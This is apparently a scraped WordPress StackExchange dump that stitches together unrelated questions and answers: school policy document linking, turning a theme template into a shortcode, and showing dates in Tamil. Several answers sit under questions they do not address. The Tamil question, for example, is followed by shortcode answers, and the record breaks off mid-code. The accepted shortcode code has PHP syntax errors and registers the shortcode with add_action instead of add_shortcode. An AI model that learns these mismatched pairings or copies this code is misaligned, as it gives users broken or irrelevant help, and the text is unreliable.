I've built and manage two primary/junior school sites in the UK. They've recently come together under a Multi Academy Trust (MAT) and consequently, they now share a fair amount of common policies and documentation. Currently an admin at each school is provided the latest document version (via email) to upload and link to on their respective sites, so there is already some duplication of effort and potential for version control becoming out of sync. I'm now developing a third site, for the MAT itself. Moving forward we'd like to host the shared and common policies only on the MAT site and have the two schools link through to the relevant documents on the MAT site. That way the MAT site is solely responsible for providing the latest version of a policy document. However, to keep things up to date and in sync between the three sites, it still requires some notification down from the MAT to the two schools to let them know there is a new version of a document and to update the link accordingly. This will be an improvement but is still a bit of a pain and I'm looking for a smarter solution, whereby each school site links to a permanent location (a directory?) at the MAT site and simply links to the file that is in that directory. In this way the 2 school sites would not need to update their policy links once they have been established. This is not possible using the WP Media Library 'out of the box' (especially when we are using permalinks with a structure domain.co.uk/%year%/%monthnum%/%postname%/ ) as the month/year will change on the MAT site when they upload a revised policy version. I'm sure this is not such a niche request and that others will have faced a similar issue. I've been looking at the MAT site utilising a 3rd party document management system, such as Zoho Docs, Google Docs, DropBox Pro or similar, and avoiding the WP Media Library altogether. I'd be interested to hear other users experience and solutions for this type of scenario and if it can indeed be achieved with Wordpress alone, or maybe a plugin solution?
on your **old domain** add this following rule at the top of .htaccess ``` RedirectMatch 301 ^/([0-9]{4})/([0-9]{2})/(.*)$ http://newdomain.com/$3 ``` plase let me know if its work or not.
267,732
<p>I want to create a shortcode for one of the content form theme.</p> <p>My template's content:</p> <pre><code>&lt;section id="standing" style="background-image: url('&lt;?php echo (get_option('pixieclash-standings-background') &amp;&amp; get_option('pixieclash-standings-background') != null) ? esc_url(get_option('pixieclash-standings-background')) : get_stylesheet_directory_uri() . '/images/standings-bg.jpg' ?&gt;');"&gt; &lt;div class="container"&gt; &lt;?php $headTxt = get_option('pixieclash-standings-section-heading-top'); $bottomText = get_option('pixieclash-standings-section-heading-bottom'); ?&gt; &lt;?php if(!empty($headTxt) || !empty($bottomText)): ?&gt; &lt;article class="head"&gt; &lt;?php if(!empty($headTxt)): ?&gt; &lt;h4&gt;&lt;?php echo esc_attr($headTxt); ?&gt;&lt;/h4&gt; &lt;?php endif; ?&gt; &lt;?php if(!empty($bottomText)): ?&gt; &lt;h3&gt;&lt;?php echo esc_attr($bottomText); ?&gt;&lt;/h3&gt; &lt;?php endif; ?&gt; &lt;/article&gt; &lt;?php endif; ?&gt; &lt;?php $groups = pixieclash_standings_groups(); if(!empty($groups)): $i = 1; $onlyOne = count($groups) &gt; 1 ? '' : 'onlyOne'; foreach($groups as $group): $competitors = pixieclash_standings($group['id']); ?&gt; &lt;article class="table &lt;?php echo ($i % 2 != 0) ? 'first' : 'second' ?&gt; &lt;?php echo $onlyOne ?&gt;"&gt; &lt;h5 class="group-name"&gt;&lt;?php esc_html_e('Group', 'pixieclash') ?&gt; &lt;?php echo esc_attr($group['name']) ?&gt;&lt;/h5&gt; &lt;table class="table-body"&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;&lt;?php esc_html_e('Competitor', 'pixieclash') ?&gt;&lt;/th&gt; &lt;th rel="match&lt;?php echo esc_attr($group['id']) ?&gt;"&gt;&lt;?php esc_html_e('M', 'pixieclash') ?&gt;&lt;/th&gt; &lt;th rel="win&lt;?php echo esc_attr($group['id']) ?&gt;"&gt;&lt;?php esc_html_e('W', 'pixieclash') ?&gt;&lt;/th&gt; &lt;th rel="till&lt;?php echo esc_attr($group['id']) ?&gt;"&gt;&lt;?php esc_html_e('T', 'pixieclash') ?&gt;&lt;/th&gt; &lt;th rel="loss&lt;?php echo esc_attr($group['id']) ?&gt;"&gt;&lt;?php esc_html_e('L', 'pixieclash') ?&gt;&lt;/th&gt; &lt;th rel="point&lt;?php echo esc_attr($group['id']) ?&gt;"&gt;&lt;?php esc_html_e('P', 'pixieclash') ?&gt;&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;?php if(!empty($competitors)): foreach($competitors as $competitor): ?&gt; &lt;tr&gt; &lt;td&gt; &lt;figure&gt; &lt;img src="&lt;?php echo esc_url($competitor['logo']) ?&gt;" alt="&lt;?php echo esc_attr($competitor['name']) ?&gt;"&gt; &lt;/figure&gt; &lt;?php echo esc_attr($competitor['name']) ?&gt; &lt;/td&gt; &lt;td rel="match&lt;?php echo esc_attr($group['id']) ?&gt;"&gt;&lt;?php echo esc_attr($competitor['played']) ?&gt;&lt;/td&gt; &lt;td rel="win&lt;?php echo esc_attr($group['id']) ?&gt;"&gt;&lt;?php echo esc_attr($competitor['wins']) ?&gt;&lt;/td&gt; &lt;td rel="till&lt;?php echo esc_attr($group['id']) ?&gt;"&gt;&lt;?php echo esc_attr($competitor['till']) ?&gt;&lt;/td&gt; &lt;td rel="loss&lt;?php echo esc_attr($group['id']) ?&gt;"&gt;&lt;?php echo esc_attr($competitor['losses']) ?&gt;&lt;/td&gt; &lt;td rel="point&lt;?php echo esc_attr($group['id']) ?&gt;"&gt;&lt;?php echo esc_attr($competitor['points']) ?&gt;&lt;/td&gt; &lt;/tr&gt; &lt;?php endforeach; else: ?&gt; &lt;tr&gt; &lt;td colspan="6"&gt;&lt;?php esc_html_e('No competitors', 'pixieclash') ?&gt;&lt;/td&gt; &lt;/tr&gt; &lt;?php endif; ?&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;/article&gt; &lt;?php $i ++; endforeach; endif; ?&gt; &lt;/div&gt; &lt;/section&gt; </code></pre> <p>I tried to create the shortcode using <code>add_shorcode('table', 'name of this function');</code> but this didn't work for me.</p> <p>How can i do this?</p>
[ { "answer_id": 267736, "author": "Johansson", "author_id": 94498, "author_profile": "https://wordpress.stackexchange.com/users/94498", "pm_score": 1, "selected": false, "text": "<p>To create a shortcode from your functions, you need to use the following code:</p>\n\n<pre><code>function my_shortcode_function(){ \n if (get_option('pixieclash-standings-background') &amp;&amp; get_option('pixieclash-standings-background') != null) {\n $background = esc_url(get_option('pixieclash-standings-background')) \n } else {\n $background = get_stylesheet_directory_uri() . '/images/standings-bg.jpg';\n }\n $headTxt = get_option('pixieclash-standings-section-heading-top');\n $bottomText = get_option('pixieclash-standings-section-heading-bottom'); \n if(!empty($headTxt)){ \n $text_header = '&lt;h4&gt;'. esc_attr($headTxt);.'&lt;/h4&gt;';\n } else {\n $text_header = '';\n }\n if(!empty($bottomText)) { \n $text_footer = '&lt;h3&gt;'.esc_attr($bottomText); .'&lt;/h3&gt;';\n } else {\n $text_footer ='';\n }\n if(!empty($headTxt) || !empty($bottomText)){ \n $container = '&lt;article class=\"head\"&gt;'. $text_header . $text_footer.'&lt;/article&gt;';\n } \n $groups = pixieclash_standings_groups();\n if(!empty($groups)) {\n $i = 1;\n $onlyOne = (count($groups) &gt; 1 ) ? '' : 'onlyOne';\n $competitors ='';\n foreach($groups as $group){\n $competitors .= pixieclash_standings($group['id']);\n }\n }\n $data = '\n &lt;section id=\"standing\" style=\"background-image: url(\"'.$background.'\");\"&gt;\n &lt;div class=\"container\"&gt;'.$container.$competitors'&lt;/div&gt;\n &lt;/section&gt;';\n return $data;\n}\nadd_action('my-table-shortcode','pixieclash_standings_two');\n</code></pre>\n\n<p>Make sure you choose a unique name for your shortcode. </p>\n\n<p>Now use the following to output your shortcode:</p>\n\n<p><code>[my-table-shortcode]</code></p>\n\n<p>Or, use <code>do_shortcode()</code> in a PHP file:</p>\n\n<p><code>echo do_shortcode('[my-table-shortcode]');</code></p>\n\n<p><strong>PS :</strong> Please note, because i didn't have access to your functions i couldn't exactly validate the code. You can check your error log for any problems if the code didn't work as intended.</p>\n\n<p><strong>UPDATE</strong></p>\n\n<p>There is a real easy solution that i think works better in your case, and it's using <code>ob_start()</code>. This will record every output of your content and store it in a value to return later. Take a look at this:</p>\n\n<pre><code>function my_content_shortcode(){ \n ob_start();?&gt;\n &lt;section id=\"standing\" style=\"background-image: url('&lt;?php echo (get_option('pixieclash-standings-background') &amp;&amp; get_option('pixieclash-standings-background') != null) ? esc_url(get_option('pixieclash-standings-background')) : get_stylesheet_directory_uri() . '/images/standings-bg.jpg' ?&gt;');\"&gt;\n\n &lt;div class=\"container\"&gt;\n &lt;?php\n $headTxt = get_option('pixieclash-standings-section-heading-top');\n $bottomText = get_option('pixieclash-standings-section-heading-bottom');\n ?&gt;\n\n &lt;?php if(!empty($headTxt) || !empty($bottomText)): ?&gt;\n &lt;article class=\"head\"&gt;\n &lt;?php if(!empty($headTxt)): ?&gt;\n &lt;h4&gt;&lt;?php echo esc_attr($headTxt); ?&gt;&lt;/h4&gt;\n &lt;?php endif; ?&gt;\n\n &lt;?php if(!empty($bottomText)): ?&gt;\n &lt;h3&gt;&lt;?php echo esc_attr($bottomText); ?&gt;&lt;/h3&gt;\n &lt;?php endif; ?&gt;\n &lt;/article&gt;\n &lt;?php endif; ?&gt;\n\n &lt;?php\n $groups = pixieclash_standings_groups();\n\n if(!empty($groups)):\n $i = 1;\n $onlyOne = count($groups) &gt; 1 ? '' : 'onlyOne';\n foreach($groups as $group):\n $competitors = pixieclash_standings($group['id']);\n ?&gt;\n &lt;article class=\"table &lt;?php echo ($i % 2 != 0) ? 'first' : 'second' ?&gt; &lt;?php echo $onlyOne ?&gt;\"&gt;\n &lt;h5 class=\"group-name\"&gt;&lt;?php esc_html_e('Group', 'pixieclash') ?&gt; &lt;?php echo esc_attr($group['name']) ?&gt;&lt;/h5&gt;\n\n &lt;table class=\"table-body\"&gt;\n &lt;thead&gt;\n &lt;tr&gt;\n &lt;th&gt;&lt;?php esc_html_e('Competitor', 'pixieclash') ?&gt;&lt;/th&gt;\n &lt;th rel=\"match&lt;?php echo esc_attr($group['id']) ?&gt;\"&gt;&lt;?php esc_html_e('M', 'pixieclash') ?&gt;&lt;/th&gt;\n &lt;th rel=\"win&lt;?php echo esc_attr($group['id']) ?&gt;\"&gt;&lt;?php esc_html_e('W', 'pixieclash') ?&gt;&lt;/th&gt;\n &lt;th rel=\"till&lt;?php echo esc_attr($group['id']) ?&gt;\"&gt;&lt;?php esc_html_e('T', 'pixieclash') ?&gt;&lt;/th&gt;\n &lt;th rel=\"loss&lt;?php echo esc_attr($group['id']) ?&gt;\"&gt;&lt;?php esc_html_e('L', 'pixieclash') ?&gt;&lt;/th&gt;\n &lt;th rel=\"point&lt;?php echo esc_attr($group['id']) ?&gt;\"&gt;&lt;?php esc_html_e('P', 'pixieclash') ?&gt;&lt;/th&gt;\n &lt;/tr&gt;\n &lt;/thead&gt;\n &lt;tbody&gt;\n &lt;?php if(!empty($competitors)): foreach($competitors as $competitor): ?&gt;\n &lt;tr&gt;\n &lt;td&gt;\n &lt;figure&gt;\n &lt;img src=\"&lt;?php echo esc_url($competitor['logo']) ?&gt;\" alt=\"&lt;?php echo esc_attr($competitor['name']) ?&gt;\"&gt;\n &lt;/figure&gt;\n &lt;?php echo esc_attr($competitor['name']) ?&gt;\n &lt;/td&gt;\n &lt;td rel=\"match&lt;?php echo esc_attr($group['id']) ?&gt;\"&gt;&lt;?php echo esc_attr($competitor['played']) ?&gt;&lt;/td&gt;\n &lt;td rel=\"win&lt;?php echo esc_attr($group['id']) ?&gt;\"&gt;&lt;?php echo esc_attr($competitor['wins']) ?&gt;&lt;/td&gt;\n &lt;td rel=\"till&lt;?php echo esc_attr($group['id']) ?&gt;\"&gt;&lt;?php echo esc_attr($competitor['till']) ?&gt;&lt;/td&gt;\n &lt;td rel=\"loss&lt;?php echo esc_attr($group['id']) ?&gt;\"&gt;&lt;?php echo esc_attr($competitor['losses']) ?&gt;&lt;/td&gt;\n &lt;td rel=\"point&lt;?php echo esc_attr($group['id']) ?&gt;\"&gt;&lt;?php echo esc_attr($competitor['points']) ?&gt;&lt;/td&gt;\n &lt;/tr&gt;\n &lt;?php endforeach; else: ?&gt;\n &lt;tr&gt;\n &lt;td colspan=\"6\"&gt;&lt;?php esc_html_e('No competitors', 'pixieclash') ?&gt;&lt;/td&gt;\n &lt;/tr&gt;\n &lt;?php endif; ?&gt;\n &lt;/tbody&gt;\n &lt;/table&gt;\n\n &lt;/article&gt;\n\n &lt;?php $i ++; endforeach; endif; ?&gt;\n &lt;/div&gt;\n &lt;/section&gt;&lt;?php\n $content = ob_get_contents();\n ob_end_clean();\n return $content;\n}\nadd_action('my-table-shortcode','my_content_shortcode');\n</code></pre>\n\n<p>Now, using <code>[my-table-shortcode]</code> in a text widget or content will exactly act as your section, same as using <code>echo do_shortcode('[my-table-shortcode]');</code> in a php file.</p>\n" }, { "answer_id": 323571, "author": "Niket Joshi", "author_id": 122094, "author_profile": "https://wordpress.stackexchange.com/users/122094", "pm_score": 0, "selected": false, "text": "<p>// Shortcode to generate sidebar daynamic\n function sidebar_detail_payedpost( $shortcode_attr, $shortcode_content )\n {</p>\n\n<pre><code> // echo \"sidebar\";\n $current_cat_id = get_queried_object_id();\n $count_post=get_term($current_cat_id);\n $city = isset($_GET['locationID']) ? base64_decode($_GET['locationID']) : $_SESSION['prefer_city'];\n $args = array(\n 'post_type' =&gt; 'classified',\n 'tax_query' =&gt; array( \n array(\n 'taxonomy' =&gt; 'classified_location',\n 'field' =&gt; 'id',\n 'terms' =&gt; array($city),\n 'operator' =&gt; 'IN',\n )\n ),\n );\n $result = new WP_Query($args);\n // echo $result-&gt;found_posts;\n // print_r($result);\n // echo \"&lt;/pre&gt;\";\n if ( $result-&gt; have_posts() ){\n\n while ( $result-&gt;have_posts() ){\n $result-&gt;the_post();\n ?&gt;\n &lt;!-- &lt;div class=\"container post_box\"&gt; --&gt;\n &lt;div class=\"container\"&gt;\n\n &lt;?php \n $data=get_the_post_thumbnail();\n ?&gt;\n &lt;div class=\"SidebarPost\"&gt;\n &lt;a href=\"&lt;?php echo get_permalink(); ?&gt;\" data-img='&lt;?php echo ($data); ?&gt;' class=\"postimage_sidebar\" &gt;&lt;?php echo ($data); ?&gt;\n &lt;/a&gt; \n &lt;h5&gt;&lt;a href=\"&lt;?php echo get_permalink(); ?&gt;\"&gt;&lt;?php the_title(); ?&gt;&lt;/a&gt;&lt;/h5&gt;\n &lt;/div&gt; \n &lt;/div&gt;\n\n\n &lt;?php \n }\n } \n\n}\n add_shortcode('DisplayPayablePost', 'sidebar_detail_payedpost');\n</code></pre>\n\n<p>This code display paid post in the sidebar and it works fine for me you can add HTML and PHP like this way.</p>\n\n<p>It's fully tested and proper code, I just hope this works for you.</p>\n" } ]
2017/05/22
[ "https://wordpress.stackexchange.com/questions/267732", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/120212/" ]
I want to create a shortcode for one of the content form theme. My template's content: ``` <section id="standing" style="background-image: url('<?php echo (get_option('pixieclash-standings-background') && get_option('pixieclash-standings-background') != null) ? esc_url(get_option('pixieclash-standings-background')) : get_stylesheet_directory_uri() . '/images/standings-bg.jpg' ?>');"> <div class="container"> <?php $headTxt = get_option('pixieclash-standings-section-heading-top'); $bottomText = get_option('pixieclash-standings-section-heading-bottom'); ?> <?php if(!empty($headTxt) || !empty($bottomText)): ?> <article class="head"> <?php if(!empty($headTxt)): ?> <h4><?php echo esc_attr($headTxt); ?></h4> <?php endif; ?> <?php if(!empty($bottomText)): ?> <h3><?php echo esc_attr($bottomText); ?></h3> <?php endif; ?> </article> <?php endif; ?> <?php $groups = pixieclash_standings_groups(); if(!empty($groups)): $i = 1; $onlyOne = count($groups) > 1 ? '' : 'onlyOne'; foreach($groups as $group): $competitors = pixieclash_standings($group['id']); ?> <article class="table <?php echo ($i % 2 != 0) ? 'first' : 'second' ?> <?php echo $onlyOne ?>"> <h5 class="group-name"><?php esc_html_e('Group', 'pixieclash') ?> <?php echo esc_attr($group['name']) ?></h5> <table class="table-body"> <thead> <tr> <th><?php esc_html_e('Competitor', 'pixieclash') ?></th> <th rel="match<?php echo esc_attr($group['id']) ?>"><?php esc_html_e('M', 'pixieclash') ?></th> <th rel="win<?php echo esc_attr($group['id']) ?>"><?php esc_html_e('W', 'pixieclash') ?></th> <th rel="till<?php echo esc_attr($group['id']) ?>"><?php esc_html_e('T', 'pixieclash') ?></th> <th rel="loss<?php echo esc_attr($group['id']) ?>"><?php esc_html_e('L', 'pixieclash') ?></th> <th rel="point<?php echo esc_attr($group['id']) ?>"><?php esc_html_e('P', 'pixieclash') ?></th> </tr> </thead> <tbody> <?php if(!empty($competitors)): foreach($competitors as $competitor): ?> <tr> <td> <figure> <img src="<?php echo esc_url($competitor['logo']) ?>" alt="<?php echo esc_attr($competitor['name']) ?>"> </figure> <?php echo esc_attr($competitor['name']) ?> </td> <td rel="match<?php echo esc_attr($group['id']) ?>"><?php echo esc_attr($competitor['played']) ?></td> <td rel="win<?php echo esc_attr($group['id']) ?>"><?php echo esc_attr($competitor['wins']) ?></td> <td rel="till<?php echo esc_attr($group['id']) ?>"><?php echo esc_attr($competitor['till']) ?></td> <td rel="loss<?php echo esc_attr($group['id']) ?>"><?php echo esc_attr($competitor['losses']) ?></td> <td rel="point<?php echo esc_attr($group['id']) ?>"><?php echo esc_attr($competitor['points']) ?></td> </tr> <?php endforeach; else: ?> <tr> <td colspan="6"><?php esc_html_e('No competitors', 'pixieclash') ?></td> </tr> <?php endif; ?> </tbody> </table> </article> <?php $i ++; endforeach; endif; ?> </div> </section> ``` I tried to create the shortcode using `add_shorcode('table', 'name of this function');` but this didn't work for me. How can i do this?
To create a shortcode from your functions, you need to use the following code: ``` function my_shortcode_function(){ if (get_option('pixieclash-standings-background') && get_option('pixieclash-standings-background') != null) { $background = esc_url(get_option('pixieclash-standings-background')) } else { $background = get_stylesheet_directory_uri() . '/images/standings-bg.jpg'; } $headTxt = get_option('pixieclash-standings-section-heading-top'); $bottomText = get_option('pixieclash-standings-section-heading-bottom'); if(!empty($headTxt)){ $text_header = '<h4>'. esc_attr($headTxt);.'</h4>'; } else { $text_header = ''; } if(!empty($bottomText)) { $text_footer = '<h3>'.esc_attr($bottomText); .'</h3>'; } else { $text_footer =''; } if(!empty($headTxt) || !empty($bottomText)){ $container = '<article class="head">'. $text_header . $text_footer.'</article>'; } $groups = pixieclash_standings_groups(); if(!empty($groups)) { $i = 1; $onlyOne = (count($groups) > 1 ) ? '' : 'onlyOne'; $competitors =''; foreach($groups as $group){ $competitors .= pixieclash_standings($group['id']); } } $data = ' <section id="standing" style="background-image: url("'.$background.'");"> <div class="container">'.$container.$competitors'</div> </section>'; return $data; } add_action('my-table-shortcode','pixieclash_standings_two'); ``` Make sure you choose a unique name for your shortcode. Now use the following to output your shortcode: `[my-table-shortcode]` Or, use `do_shortcode()` in a PHP file: `echo do_shortcode('[my-table-shortcode]');` **PS :** Please note, because i didn't have access to your functions i couldn't exactly validate the code. You can check your error log for any problems if the code didn't work as intended. **UPDATE** There is a real easy solution that i think works better in your case, and it's using `ob_start()`. This will record every output of your content and store it in a value to return later. Take a look at this: ``` function my_content_shortcode(){ ob_start();?> <section id="standing" style="background-image: url('<?php echo (get_option('pixieclash-standings-background') && get_option('pixieclash-standings-background') != null) ? esc_url(get_option('pixieclash-standings-background')) : get_stylesheet_directory_uri() . '/images/standings-bg.jpg' ?>');"> <div class="container"> <?php $headTxt = get_option('pixieclash-standings-section-heading-top'); $bottomText = get_option('pixieclash-standings-section-heading-bottom'); ?> <?php if(!empty($headTxt) || !empty($bottomText)): ?> <article class="head"> <?php if(!empty($headTxt)): ?> <h4><?php echo esc_attr($headTxt); ?></h4> <?php endif; ?> <?php if(!empty($bottomText)): ?> <h3><?php echo esc_attr($bottomText); ?></h3> <?php endif; ?> </article> <?php endif; ?> <?php $groups = pixieclash_standings_groups(); if(!empty($groups)): $i = 1; $onlyOne = count($groups) > 1 ? '' : 'onlyOne'; foreach($groups as $group): $competitors = pixieclash_standings($group['id']); ?> <article class="table <?php echo ($i % 2 != 0) ? 'first' : 'second' ?> <?php echo $onlyOne ?>"> <h5 class="group-name"><?php esc_html_e('Group', 'pixieclash') ?> <?php echo esc_attr($group['name']) ?></h5> <table class="table-body"> <thead> <tr> <th><?php esc_html_e('Competitor', 'pixieclash') ?></th> <th rel="match<?php echo esc_attr($group['id']) ?>"><?php esc_html_e('M', 'pixieclash') ?></th> <th rel="win<?php echo esc_attr($group['id']) ?>"><?php esc_html_e('W', 'pixieclash') ?></th> <th rel="till<?php echo esc_attr($group['id']) ?>"><?php esc_html_e('T', 'pixieclash') ?></th> <th rel="loss<?php echo esc_attr($group['id']) ?>"><?php esc_html_e('L', 'pixieclash') ?></th> <th rel="point<?php echo esc_attr($group['id']) ?>"><?php esc_html_e('P', 'pixieclash') ?></th> </tr> </thead> <tbody> <?php if(!empty($competitors)): foreach($competitors as $competitor): ?> <tr> <td> <figure> <img src="<?php echo esc_url($competitor['logo']) ?>" alt="<?php echo esc_attr($competitor['name']) ?>"> </figure> <?php echo esc_attr($competitor['name']) ?> </td> <td rel="match<?php echo esc_attr($group['id']) ?>"><?php echo esc_attr($competitor['played']) ?></td> <td rel="win<?php echo esc_attr($group['id']) ?>"><?php echo esc_attr($competitor['wins']) ?></td> <td rel="till<?php echo esc_attr($group['id']) ?>"><?php echo esc_attr($competitor['till']) ?></td> <td rel="loss<?php echo esc_attr($group['id']) ?>"><?php echo esc_attr($competitor['losses']) ?></td> <td rel="point<?php echo esc_attr($group['id']) ?>"><?php echo esc_attr($competitor['points']) ?></td> </tr> <?php endforeach; else: ?> <tr> <td colspan="6"><?php esc_html_e('No competitors', 'pixieclash') ?></td> </tr> <?php endif; ?> </tbody> </table> </article> <?php $i ++; endforeach; endif; ?> </div> </section><?php $content = ob_get_contents(); ob_end_clean(); return $content; } add_action('my-table-shortcode','my_content_shortcode'); ``` Now, using `[my-table-shortcode]` in a text widget or content will exactly act as your section, same as using `echo do_shortcode('[my-table-shortcode]');` in a php file.
267,764
<p>Am working in a Tamil blog site.There I want to display date in Tamil language.(ie) செவ்வாய்க்கிழமை, மே 23, 2017 .I need to display like this in wordpress site.But I dont want to change all.Only the date in tamil.</p>
[ { "answer_id": 267736, "author": "Johansson", "author_id": 94498, "author_profile": "https://wordpress.stackexchange.com/users/94498", "pm_score": 1, "selected": false, "text": "<p>To create a shortcode from your functions, you need to use the following code:</p>\n\n<pre><code>function my_shortcode_function(){ \n if (get_option('pixieclash-standings-background') &amp;&amp; get_option('pixieclash-standings-background') != null) {\n $background = esc_url(get_option('pixieclash-standings-background')) \n } else {\n $background = get_stylesheet_directory_uri() . '/images/standings-bg.jpg';\n }\n $headTxt = get_option('pixieclash-standings-section-heading-top');\n $bottomText = get_option('pixieclash-standings-section-heading-bottom'); \n if(!empty($headTxt)){ \n $text_header = '&lt;h4&gt;'. esc_attr($headTxt);.'&lt;/h4&gt;';\n } else {\n $text_header = '';\n }\n if(!empty($bottomText)) { \n $text_footer = '&lt;h3&gt;'.esc_attr($bottomText); .'&lt;/h3&gt;';\n } else {\n $text_footer ='';\n }\n if(!empty($headTxt) || !empty($bottomText)){ \n $container = '&lt;article class=\"head\"&gt;'. $text_header . $text_footer.'&lt;/article&gt;';\n } \n $groups = pixieclash_standings_groups();\n if(!empty($groups)) {\n $i = 1;\n $onlyOne = (count($groups) &gt; 1 ) ? '' : 'onlyOne';\n $competitors ='';\n foreach($groups as $group){\n $competitors .= pixieclash_standings($group['id']);\n }\n }\n $data = '\n &lt;section id=\"standing\" style=\"background-image: url(\"'.$background.'\");\"&gt;\n &lt;div class=\"container\"&gt;'.$container.$competitors'&lt;/div&gt;\n &lt;/section&gt;';\n return $data;\n}\nadd_action('my-table-shortcode','pixieclash_standings_two');\n</code></pre>\n\n<p>Make sure you choose a unique name for your shortcode. </p>\n\n<p>Now use the following to output your shortcode:</p>\n\n<p><code>[my-table-shortcode]</code></p>\n\n<p>Or, use <code>do_shortcode()</code> in a PHP file:</p>\n\n<p><code>echo do_shortcode('[my-table-shortcode]');</code></p>\n\n<p><strong>PS :</strong> Please note, because i didn't have access to your functions i couldn't exactly validate the code. You can check your error log for any problems if the code didn't work as intended.</p>\n\n<p><strong>UPDATE</strong></p>\n\n<p>There is a real easy solution that i think works better in your case, and it's using <code>ob_start()</code>. This will record every output of your content and store it in a value to return later. Take a look at this:</p>\n\n<pre><code>function my_content_shortcode(){ \n ob_start();?&gt;\n &lt;section id=\"standing\" style=\"background-image: url('&lt;?php echo (get_option('pixieclash-standings-background') &amp;&amp; get_option('pixieclash-standings-background') != null) ? esc_url(get_option('pixieclash-standings-background')) : get_stylesheet_directory_uri() . '/images/standings-bg.jpg' ?&gt;');\"&gt;\n\n &lt;div class=\"container\"&gt;\n &lt;?php\n $headTxt = get_option('pixieclash-standings-section-heading-top');\n $bottomText = get_option('pixieclash-standings-section-heading-bottom');\n ?&gt;\n\n &lt;?php if(!empty($headTxt) || !empty($bottomText)): ?&gt;\n &lt;article class=\"head\"&gt;\n &lt;?php if(!empty($headTxt)): ?&gt;\n &lt;h4&gt;&lt;?php echo esc_attr($headTxt); ?&gt;&lt;/h4&gt;\n &lt;?php endif; ?&gt;\n\n &lt;?php if(!empty($bottomText)): ?&gt;\n &lt;h3&gt;&lt;?php echo esc_attr($bottomText); ?&gt;&lt;/h3&gt;\n &lt;?php endif; ?&gt;\n &lt;/article&gt;\n &lt;?php endif; ?&gt;\n\n &lt;?php\n $groups = pixieclash_standings_groups();\n\n if(!empty($groups)):\n $i = 1;\n $onlyOne = count($groups) &gt; 1 ? '' : 'onlyOne';\n foreach($groups as $group):\n $competitors = pixieclash_standings($group['id']);\n ?&gt;\n &lt;article class=\"table &lt;?php echo ($i % 2 != 0) ? 'first' : 'second' ?&gt; &lt;?php echo $onlyOne ?&gt;\"&gt;\n &lt;h5 class=\"group-name\"&gt;&lt;?php esc_html_e('Group', 'pixieclash') ?&gt; &lt;?php echo esc_attr($group['name']) ?&gt;&lt;/h5&gt;\n\n &lt;table class=\"table-body\"&gt;\n &lt;thead&gt;\n &lt;tr&gt;\n &lt;th&gt;&lt;?php esc_html_e('Competitor', 'pixieclash') ?&gt;&lt;/th&gt;\n &lt;th rel=\"match&lt;?php echo esc_attr($group['id']) ?&gt;\"&gt;&lt;?php esc_html_e('M', 'pixieclash') ?&gt;&lt;/th&gt;\n &lt;th rel=\"win&lt;?php echo esc_attr($group['id']) ?&gt;\"&gt;&lt;?php esc_html_e('W', 'pixieclash') ?&gt;&lt;/th&gt;\n &lt;th rel=\"till&lt;?php echo esc_attr($group['id']) ?&gt;\"&gt;&lt;?php esc_html_e('T', 'pixieclash') ?&gt;&lt;/th&gt;\n &lt;th rel=\"loss&lt;?php echo esc_attr($group['id']) ?&gt;\"&gt;&lt;?php esc_html_e('L', 'pixieclash') ?&gt;&lt;/th&gt;\n &lt;th rel=\"point&lt;?php echo esc_attr($group['id']) ?&gt;\"&gt;&lt;?php esc_html_e('P', 'pixieclash') ?&gt;&lt;/th&gt;\n &lt;/tr&gt;\n &lt;/thead&gt;\n &lt;tbody&gt;\n &lt;?php if(!empty($competitors)): foreach($competitors as $competitor): ?&gt;\n &lt;tr&gt;\n &lt;td&gt;\n &lt;figure&gt;\n &lt;img src=\"&lt;?php echo esc_url($competitor['logo']) ?&gt;\" alt=\"&lt;?php echo esc_attr($competitor['name']) ?&gt;\"&gt;\n &lt;/figure&gt;\n &lt;?php echo esc_attr($competitor['name']) ?&gt;\n &lt;/td&gt;\n &lt;td rel=\"match&lt;?php echo esc_attr($group['id']) ?&gt;\"&gt;&lt;?php echo esc_attr($competitor['played']) ?&gt;&lt;/td&gt;\n &lt;td rel=\"win&lt;?php echo esc_attr($group['id']) ?&gt;\"&gt;&lt;?php echo esc_attr($competitor['wins']) ?&gt;&lt;/td&gt;\n &lt;td rel=\"till&lt;?php echo esc_attr($group['id']) ?&gt;\"&gt;&lt;?php echo esc_attr($competitor['till']) ?&gt;&lt;/td&gt;\n &lt;td rel=\"loss&lt;?php echo esc_attr($group['id']) ?&gt;\"&gt;&lt;?php echo esc_attr($competitor['losses']) ?&gt;&lt;/td&gt;\n &lt;td rel=\"point&lt;?php echo esc_attr($group['id']) ?&gt;\"&gt;&lt;?php echo esc_attr($competitor['points']) ?&gt;&lt;/td&gt;\n &lt;/tr&gt;\n &lt;?php endforeach; else: ?&gt;\n &lt;tr&gt;\n &lt;td colspan=\"6\"&gt;&lt;?php esc_html_e('No competitors', 'pixieclash') ?&gt;&lt;/td&gt;\n &lt;/tr&gt;\n &lt;?php endif; ?&gt;\n &lt;/tbody&gt;\n &lt;/table&gt;\n\n &lt;/article&gt;\n\n &lt;?php $i ++; endforeach; endif; ?&gt;\n &lt;/div&gt;\n &lt;/section&gt;&lt;?php\n $content = ob_get_contents();\n ob_end_clean();\n return $content;\n}\nadd_action('my-table-shortcode','my_content_shortcode');\n</code></pre>\n\n<p>Now, using <code>[my-table-shortcode]</code> in a text widget or content will exactly act as your section, same as using <code>echo do_shortcode('[my-table-shortcode]');</code> in a php file.</p>\n" }, { "answer_id": 323571, "author": "Niket Joshi", "author_id": 122094, "author_profile": "https://wordpress.stackexchange.com/users/122094", "pm_score": 0, "selected": false, "text": "<p>// Shortcode to generate sidebar daynamic\n function sidebar_detail_payedpost( $shortcode_attr, $shortcode_content )\n {</p>\n\n<pre><code> // echo \"sidebar\";\n $current_cat_id = get_queried_object_id();\n $count_post=get_term($current_cat_id);\n $city = isset($_GET['locationID']) ? base64_decode($_GET['locationID']) : $_SESSION['prefer_city'];\n $args = array(\n 'post_type' =&gt; 'classified',\n 'tax_query' =&gt; array( \n array(\n 'taxonomy' =&gt; 'classified_location',\n 'field' =&gt; 'id',\n 'terms' =&gt; array($city),\n 'operator' =&gt; 'IN',\n )\n ),\n );\n $result = new WP_Query($args);\n // echo $result-&gt;found_posts;\n // print_r($result);\n // echo \"&lt;/pre&gt;\";\n if ( $result-&gt; have_posts() ){\n\n while ( $result-&gt;have_posts() ){\n $result-&gt;the_post();\n ?&gt;\n &lt;!-- 